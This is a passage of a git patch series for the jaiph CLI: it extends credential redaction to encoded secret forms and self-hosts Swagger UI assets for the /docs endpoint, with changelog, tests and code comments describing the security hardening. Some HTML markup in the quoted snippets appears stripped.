and its base64 / + * base64url / hex / URL-encoded forms — with `[REDACTED]`. See the module header + * for the literal-substring non-guarantee. + */ export function redactCredentials(text: string, env: NodeJS.ProcessEnv): string { let result = text; for (const [key, value] of Object.entries(env)) { - if (!value || value.length < 8 || !isCredentialKey(key)) continue; - result = result.split(value).join("[REDACTED]"); + if (!value || value.length < MIN_CREDENTIAL_VALUE_LEN || !isCredentialKey(key)) continue; + for (const form of credentialForms(value)) { + result = result.split(form).join("[REDACTED]"); + } } return result; } From 2d4346fe302dc692238177bd91d4c72e27ef0c18 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 31 Jul 2026 17:03:19 +0200 Subject: [PATCH 25/86] Feat: self-host Swagger UI assets for jaiph serve /docs Embed the pinned swagger-ui-dist JS/CSS into the jaiph binary via the existing embed-assets pipeline and serve them from same-origin paths under /docs instead of loading from cdn.jsdelivr.net. Air-gapped and CSP-hardened deployments now render a working Swagger UI that loads /openapi.json and can Authorize + try-it-out with no browser internet access. JAIPH_SERVE_EXPOSE_DOCS gating and persistAuthorization behaviour are preserved, and docs plus CLI help note that /docs is now self-contained. Co-Authored-By: Claude Opus 4.8 (1M context) --- CHANGELOG.md | 3 + QUEUE.md | 16 ------ docs/cli.md | 3 +- docs/env-vars.md | 2 +- docs/serve.md | 2 +- e2e/tests/147_serve_http_api.sh | 26 +++++++++ e2e/tests/149_mcp_generation_lifecycle.sh | 27 ++++++--- package-lock.json | 8 +++ package.json | 1 + src/cli/commands/serve.ts | 3 +- src/cli/serve/docs.test.ts | 69 ++++++++++++++++------- src/cli/serve/docs.ts | 66 ++++++++++++++-------- src/cli/serve/handler.test.ts | 26 +++++++++ src/cli/serve/handler.ts | 23 +++++++- src/cli/shared/usage.ts | 3 +- src/runtime/embedded-assets.test.ts | 15 +++++ src/runtime/embedded-assets.ts | 8 +++ tools/embed-assets.js | 6 ++ 18 files changed, 233 insertions(+), 74 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3f5e57dd..313b2c86 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -13,9 +13,12 @@ - **Project-local `.jaiph/hooks.json` no longer runs on the host without a workspace-trust decision:** hook commands run in the host CLI process, before and outside any Docker sandbox, so a `/.jaiph/hooks.json` that arrives with a cloned or untrusted repository is now gated behind the operator opt-in `JAIPH_TRUST_PROJECT_HOOKS=1`. Absent the opt-in, `jaiph run`, `jaiph serve`, and `jaiph mcp` ignore the project file with a one-line stderr notice, so a cloned repo cannot execute arbitrary host commands on `workflow_start`. The global `~/.jaiph/hooks.json` is the operator's own and always runs. - **Release install and the runtime image now verify every download instead of failing open:** the binary installer requires a valid minisign signature, so on a normal host a missing `minisign` aborts the install rather than degrading to checksum-only, an empty `JAIPH_MINISIGN_PUBLIC_KEY` fails closed, and only a CI host or `JAIPH_ALLOW_UNSIGNED=1` proceeds on checksum alone. The `jaiph run`, `jaiph init`, and `jaiph use` bootstraps fetch `docs/install` and its published `install.sha256`, verify the two match, and refuse to run a tampered script instead of piping `curl … | bash`. Every toolchain fetch in `runtime/Dockerfile` now goes through `runtime/fetch-verify.sh` with a required, pinned SHA-256, so a poisoned toolchain CDN fails the build. - **Credential redaction now covers many more secret names and their encoded forms:** the run journal and every surface that reads it back (`GET /v1/runs/{id}/events`, the OTLP export, the Sentry export, and a failed call's returned `result_text`) redact the value of any env var whose name looks like a credential, which now includes names the earlier four-suffix rule missed such as `AWS_SECRET_ACCESS_KEY`, `STRIPE_SECRET_KEY`, `DB_PASSWORD`, `PASSPHRASE`, and `SSH_PRIVATE_KEY`, and each value is redacted in its base64, hex, and URL-encoded forms as well as its raw form. Redaction still works by literal-substring replacement, so a secret transformed some other way, such as split across output chunks or embedded inside an opaque connection string, is not guaranteed to be caught, and the raw per-step capture files stay sensitive. +- **`jaiph serve` now serves a self-contained Swagger UI:** `/docs` embeds the pinned `swagger-ui-dist` assets in the jaiph binary and serves them from same-origin `/docs/*` paths, so the built-in API UI renders and can invoke workflows with no browser internet access, including on an air-gapped network or behind a Content-Security-Policy that blocks third-party hosts. `JAIPH_SERVE_EXPOSE_DOCS=false` still returns `404` for `/docs`, `/openapi.json`, and the embedded assets. ## All changes +- **Feat — self-host the `jaiph serve` Swagger UI so `/docs` needs no browser internet access:** the `/docs` shell (`src/cli/serve/docs.ts`) loaded `swagger-ui-dist` from a pinned `cdn.jsdelivr.net` URL with a Subresource Integrity hash and `crossorigin`, so an air-gapped browser, an offline host, or a Content-Security-Policy that blocks third-party hosts rendered a blank page and left only `/openapi.json` usable. The two pinned assets, `swagger-ui-bundle.js` and `swagger-ui.css`, are now embedded into the binary through the existing embed pipeline: `tools/embed-assets.js` reads them from the pinned `swagger-ui-dist` devDependency into `src/runtime/embedded-assets.ts`, and the handler serves them from same-origin paths (`GET /docs/swagger-ui-bundle.js` and `GET /docs/swagger-ui.css`), so the browser never fetches from a third-party host. Each `` / `")); const cssTag = DOCS_HTML.slice(DOCS_HTML.indexOf("", DOCS_HTML.indexOf(" "sha384-" + createHash("sha384").update(Buffer.from(s, "utf8")).digest("base64"); + assert.equal(SWAGGER_UI_BUNDLE_SRI, sri(SWAGGER_UI_BUNDLE_JS)); + assert.equal(SWAGGER_UI_CSS_SRI, sri(SWAGGER_UI_CSS)); + assert.ok(DOCS_HTML.includes(SWAGGER_UI_BUNDLE_SRI)); + assert.ok(DOCS_HTML.includes(SWAGGER_UI_CSS_SRI)); +}); + +test("the embedded assets are the real swagger-ui-dist bundle + stylesheet", () => { + // Non-empty and recognisably the vendored assets (so /docs actually renders). + assert.ok(SWAGGER_UI_BUNDLE_JS.length > 100_000, "bundle is embedded"); + assert.ok(SWAGGER_UI_CSS.length > 10_000, "stylesheet is embedded"); + assert.match(SWAGGER_UI_BUNDLE_JS, /SwaggerUIBundle/); + assert.match(SWAGGER_UI_CSS, /\.swagger-ui/); }); test("the shell initializes SwaggerUIBundle against /openapi.json with persistAuthorization", () => { diff --git a/src/cli/serve/docs.ts b/src/cli/serve/docs.ts index cdbd4548..3e139940 100644 --- a/src/cli/serve/docs.ts +++ b/src/cli/serve/docs.ts @@ -1,25 +1,45 @@ -// Swagger UI is loaded from a CDN with a pinned exact version, Subresource -// Integrity (SRI) hashes, and crossorigin — never vendored/embedded, so the -// jaiph binary stays lean (embedding swagger-ui is ~1.5 MB for one page). The -// consequence, documented in docs/serve.md and the design doc: `/docs` needs -// internet access in the browser; air-gapped operators still have -// `/openapi.json`, which any locally-hosted Swagger/Redoc/Scalar renders. +// Swagger UI is self-hosted: the pinned `swagger-ui-dist` assets are embedded +// into the jaiph binary (via tools/embed-assets.js) and served from same-origin +// paths under `/docs`. `/docs` therefore renders a working Swagger UI with no +// browser internet access — air-gapped operators and CSP-locked deployments +// that block third-party hosts can invoke and inspect workflows offline. The +// assets are first-party once embedded, so each tag still carries a Subresource +// Integrity hash computed from the embedded bytes (rejecting a proxy/cache that +// mutates them in flight), but no `crossorigin` is needed for same-origin. // -// To bump the version: change SWAGGER_UI_VERSION and regenerate both hashes: -// curl -s https://cdn.jsdelivr.net/npm/swagger-ui-dist@/swagger-ui-bundle.js \ -// | openssl dgst -sha384 -binary | openssl base64 -A -// curl -s https://cdn.jsdelivr.net/npm/swagger-ui-dist@/swagger-ui.css \ -// | openssl dgst -sha384 -binary | openssl base64 -A +// To bump the version: change the pinned `swagger-ui-dist` devDependency in +// package.json, update SWAGGER_UI_VERSION to match, and rerun `npm run build` +// (which regenerates the embedded bytes via `npm run embed-assets`). +import { createHash } from "node:crypto"; +import { + SWAGGER_UI_BUNDLE_JS_BASE64, + SWAGGER_UI_CSS_BASE64, + decodeEmbeddedAsset, +} from "../../runtime/embedded-assets"; + export const SWAGGER_UI_VERSION = "5.17.14"; -const CDN_BASE = `https://cdn.jsdelivr.net/npm/swagger-ui-dist@${SWAGGER_UI_VERSION}`; -const BUNDLE_SRI = "sha384-wmyclcVGX/WhUkdkATwhaK1X1JtiNrr2EoYJ+diV3vj4v6OC5yCeSu+yW13SYJep"; -const CSS_SRI = "sha384-wxLW6kwyHktdDGr6Pv1zgm/VGJh99lfUbzSn6HNHBENZlCN7W602k9VkGdxuFvPn"; + +/** Same-origin paths the shell loads its embedded assets from. */ +export const SWAGGER_UI_BUNDLE_PATH = "/docs/swagger-ui-bundle.js"; +export const SWAGGER_UI_CSS_PATH = "/docs/swagger-ui.css"; + +/** Embedded first-party asset bytes, decoded once at module load. */ +export const SWAGGER_UI_BUNDLE_JS = decodeEmbeddedAsset(SWAGGER_UI_BUNDLE_JS_BASE64); +export const SWAGGER_UI_CSS = decodeEmbeddedAsset(SWAGGER_UI_CSS_BASE64); + +// SRI over the exact UTF-8 bytes the same-origin server sends (see handler.ts). +function sri(content: string): string { + return "sha384-" + createHash("sha384").update(Buffer.from(content, "utf8")).digest("base64"); +} +export const SWAGGER_UI_BUNDLE_SRI = sri(SWAGGER_UI_BUNDLE_JS); +export const SWAGGER_UI_CSS_SRI = sri(SWAGGER_UI_CSS); /** - * Static Swagger UI HTML shell. Loads `swagger-ui-dist` from the CDN (pinned + - * SRI + crossorigin) and points it at `/openapi.json`. `persistAuthorization` - * keeps the bearer token entered in the Authorize box across reloads, since a - * browser cannot attach headers to the initial `/docs` navigation. + * Static Swagger UI HTML shell. Loads the embedded `swagger-ui-dist` from + * same-origin `/docs/*` paths (integrity-checked, no third-party host) and + * points it at `/openapi.json`. `persistAuthorization` keeps the bearer token + * entered in the Authorize box across reloads, since a browser cannot attach + * headers to the initial `/docs` navigation. */ export const DOCS_HTML = ` @@ -29,17 +49,15 @@ export const DOCS_HTML = ` jaiph serve — API